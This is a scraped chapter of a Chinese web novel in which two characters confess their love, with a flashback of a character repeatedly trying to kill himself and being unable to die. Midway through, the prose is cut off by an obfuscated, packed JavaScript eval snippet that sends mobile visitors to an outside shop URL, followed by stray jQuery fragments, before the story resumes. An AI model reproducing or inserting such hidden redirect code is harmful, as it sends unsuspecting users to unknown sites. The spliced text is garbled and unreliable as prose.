文趣网 > 其他小说 > 卡BUG通关被阴湿信徒缠上了 > 119.覆水可收
    谢灼听不到风声,听不到虫鸣。

    耳膜里充斥着的,只有自己心脏剧烈撞击胸腔的闷响,一下重过一下,震得发痛。

    他忽然想不起来自己是怎么走到这一步的。

    明明上一刻还在并肩走着,月光那么好,他们谈了些有的没的,大约是接下来几天的安排,又或者是山脚下那户人家送来的腌菜确实很入味。

    然后呢?

    然后他就开口了。

    有什么东西在胸腔里蛰伏了太久,被那股带着花香的夜风一激,便不管不顾地破土而出。

    明明那死寂的十年都熬过来了,明明只要能站在先生身边就该知足了。

    可是一见到这个人……

    一看到沈行舟在月光下对他笑,那股压抑在骨髓里的委屈和贪念,就怎么也以此压不住了。

    所以,话就从嘴巴里溜出来了。

    覆水难收。

    谢灼死死盯着沈行舟的脸,视线却因为过度紧张而开始发虚。

    一秒、两秒。

    先生说话了吗?

    他的嘴唇似乎动了一下,又似乎没有。是了,没有。什么都没有。先生只是静静地站在那里看着自己。

    谢灼浑身的血液在一瞬间凉透,如坠冰窟。

    ……搞砸了。

    谢灼,你要把自己害死了。

    为什么管不好自己的嘴?

    之前在义庄面对少当家时,他还能用“演戏”当借口,把那些阴暗的心思半真半假地宣泄出来,哪怕先生起疑,也能糊弄过去。

    可现在,没有任何借口了。

    他那些肮脏的、可怕的情感,就这样赤裸裸地暴露在了清冷的月光下。

    无处遁形。

    沈行舟忽然笑了一下。

    然后他的嘴唇张合,说了句什么。

    谢灼拼命想要捕捉那个声音,可耳鸣像潮水一样涌上来,根本听不真切。

    但他认出了那个口型。

    沈行舟道:“听我先说吧。”

    谢灼抿了抿苍白的唇,喉结滚动,艰难地挤出一个字:“……好。”

    “谢灼,回去后的那三个月,我一直在想——在这个没有我的世界里,你过的是什么样的生活。”

    沈行舟的声音很轻,却都砸在谢灼紧绷的神经上。

    “我曾告诉过你,哪怕离开了我,也要自己好好的生存下去。”

    这句话像一盆冰水兜头浇下。

    谢灼的脸色瞬间煞白,语无伦次道:“我有的!先生,我有在好好生活,真的。我在努力修炼,我还会下山降妖除魔,护佑苍生。我去了很多地方,见了很多不同的人——”

    沈行舟没有说话。

    那双眼睛安静地看着他,月光落在里面,像落进了两潭深不见底的水。

    谢灼眼里的光一点点碎了。

    他垂下头,声音颤抖得不成样子,卑微到了尘埃里:“真的,先生。我很乖,我有在好好长大。”

    “您就当……我刚才什么都没说,好不好……”

    沈行舟忽然道:“不行。”

    谢灼咬着苍白的嘴唇,浑身止不住地发抖。

    然后——一个温暖的怀抱撞了过来。

    沈行舟上前一步,张开双臂,将他整个人都圈了进去。那股清冽的气息瞬间将他包裹。

    谢灼僵住了。

    “我发现,是我错了。”

    沈行舟的声音贴着他的颈窝传来,闷闷地,带着温热的潮气:“离开你之后,我的日子过得很糟糕。饭很难吃,觉睡不着,我会不受控制地想你。想你在干什么,想你有没有受伤,想……能不能再见你一面。”

    “我想,我大概是,很喜欢你了。”

    沈行舟退开半步,松开怀抱,双手捧起谢灼的脸。掌心贴着他冰冷的颊侧,温度一点一点地渡过来。

    四目相对。

    他看着那双幽绿的眼睛,一字一顿:“谢灼,我很爱你。不是对晚辈的爱,不是对信徒的爱。是想要占有你、想要和你共度余生的那种爱。”

    “这就是我想对你说的话。一直埋在心里,不敢说的话。”

    谢灼喉咙里发出一声短促而破碎的呜咽。

    他扣住沈行舟的腰,用尽全身力气将人死死勒进怀里,滚烫的眼泪不受控制,瞬间决堤,打湿了沈行舟的肩头。

    “我特别特别喜欢先生。仰慕您,渴望您,爱您。我想和先生永远、永远在一起。”他的声音哽得厉害,“如果……先生之前没有对我说,要好好活着,我一定、一定撑不过这些年的。”

    谢灼闭上眼睛。

    那时他一剑穿心,再睁眼时,自己躺在地上,胸口的血洞已经不再往外淌血了。

    他没有死。

    他不知道自己为什么还活着。但他在想,那只猫说过,两个人只能活一个,如果自己还活着,那先生呢?

    巨大的恐慌吞没了他。

    为什么是我活了下来。我明明……我明明……

    他握起身旁的长刀,再次贯穿了自己的胸膛。剧烈的痛楚袭来,可伤口只流出了浅浅一层血色,仿佛他全身的血都已经流干了。

    他还能动。为什么……

    为什么?

    为什么为什么为什么——

    寒光一闪。

    世界在他眼中剧烈旋转、颠倒。滚了两圈,撞到了什么,停下来。

    视野中,是他瘫倒的身体。

    他想他终于可以死了。

    可他更恐惧地发现,他的意识依然清醒。

    他动不了。

    只能像块石头一样躺在地上,睁着眼,看着头顶的树叶由绿变黄,由黄变枯。看着冰冷的秋雨将自己的残躯淋透,积雪将自己彻底掩埋。

    而他的头颅下方,血肉如同活物般蠕动,竟一点一点,重新编织出了躯干的轮廓。

    他用了整整一年,总算认清了这个现实:他死不了,而沈行舟不见了。

    后来,他的日子几乎恢复了正常。在旁人眼里,太清宗那位惊才绝艳的谢师兄归来了。刻苦修炼,下山除妖,护佑苍生,与之前的日子别无二致。但离得近些的人,却觉得,谢师兄的魂好像分走了一半。

    但他依旧在好好生活着。

    吃饭,睡觉,游历四方。

    他走过无数个小世界,一边降妖除魔,一边寻找着先生的下落。

    两年。不过七百多个日夜。就这样熬了过去。

    他有时会想,自己和先生待在一起的时间,甚至都没有分别的时间久。似乎他们一直在离别,相逢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783491|206138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    总是很短暂。

    但没关系的。

    我会等下去。

    直到那一日。

    他靠在主峰那片盛开的萝卜花田里,擦拭着手中的长刀。头顶的树梢上,突然传来了一个熟悉的声音——

    【呀,怎么还在这守着nya~,不去找小海蛞蝓吗?】

    柴郡猫倒挂在树上,甩着它的条纹尾巴。

    他知道,他等到了。

    抱了许久,谢灼才有些不好意思地松开了手,退后半步。他眼眶红得像只兔子,鸦羽般的长睫毛上挂着没干的泪珠。他胡乱用袖子抹了把脸,吸了吸鼻子。

    “先生……”

    他垂着手,手指在身侧不安地蜷缩了一下,眼神湿漉漉地看着沈行舟,试探着问道:“回去的路有点黑。我可以……牵着您的手吗?”

    沈行舟觉得有些好笑,刚刚抱都抱过了,怎么现在小心翼翼的,又讲究起来了,可怜巴巴的,跟个小狗似的。

    被他这么一搞,他原本还算坦然的心态,也莫名其妙地染上了几分羞耻的燥热。沈行舟努力装作若无其事的样子,把手伸了过去:“牵吧。”

    顿了顿,又小声补了一句:“……不黑也能牵。”

    一只滚烫的手掌立刻覆了上来。

    谢灼抿着唇,目视前方,假装在认真看路。

    但沈行舟侧头一看,借着月光,分明看到这人的耳根已经红得快要滴血了,那层薄红顺着脖颈一路往下蔓延,连领口下都染了些颜色。

    两人谁也没说话,就这样手牵着手,走在静谧的山道上。月光把他们的影子拉得很长,在地上交叠成一团模糊的暗色。

    远处,小院的轮廓渐渐清晰起来,窗户里透出暖黄的光晕。

    到了门口,脚步不得不停。

    沈行舟松开手,那点温暖从掌心撤离,夜风立刻灌了进来。他干巴巴地打破了沉默:“到了。那个……你也早些休息。”

    “……嗯。”

    谢灼站在原地,没有动。

    他看着沈行舟准备推门的手,喉结滚动了一下,终究还是没忍住那股黏人的劲儿,低声道:“先生,我可以……抱抱您吗?”

    沈行舟转过身,主动张开双臂,扑进了那个滚烫的怀抱里,声音蚊蝇般:“……抱吧。”

    这一抱,就没撒开手。

    两个人像是两块粘连的磁铁,谁也没说要分开。抱着抱着,脚步就不自觉地往屋里挪。

    从门槛,到桌边,再到床前。

    等沈行舟回过神来的时候,两人已经倒在了床上。

    沈行舟犹豫了下,道:“晚上出门……不安全,你要不,就……就在这里睡。”

    怎么可能不安全,但他知道,自己不用去找合适的借口。

    谢灼乖巧点头:“好。”

    “那……睡觉吧。”

    “好。”

    烛火被吹熄了。

    黑暗中,两人和衣而卧,并排躺在那张床上。

    过了一会儿。

    沈行舟放在身侧的手,像是有了自己的意识,手指一点一点地往旁边爬去。

    指尖碰到了另一只手背。

    那只手几乎是立刻就反扣了过来,抓住了他。手指穿过指缝,扣紧。

    十指相扣。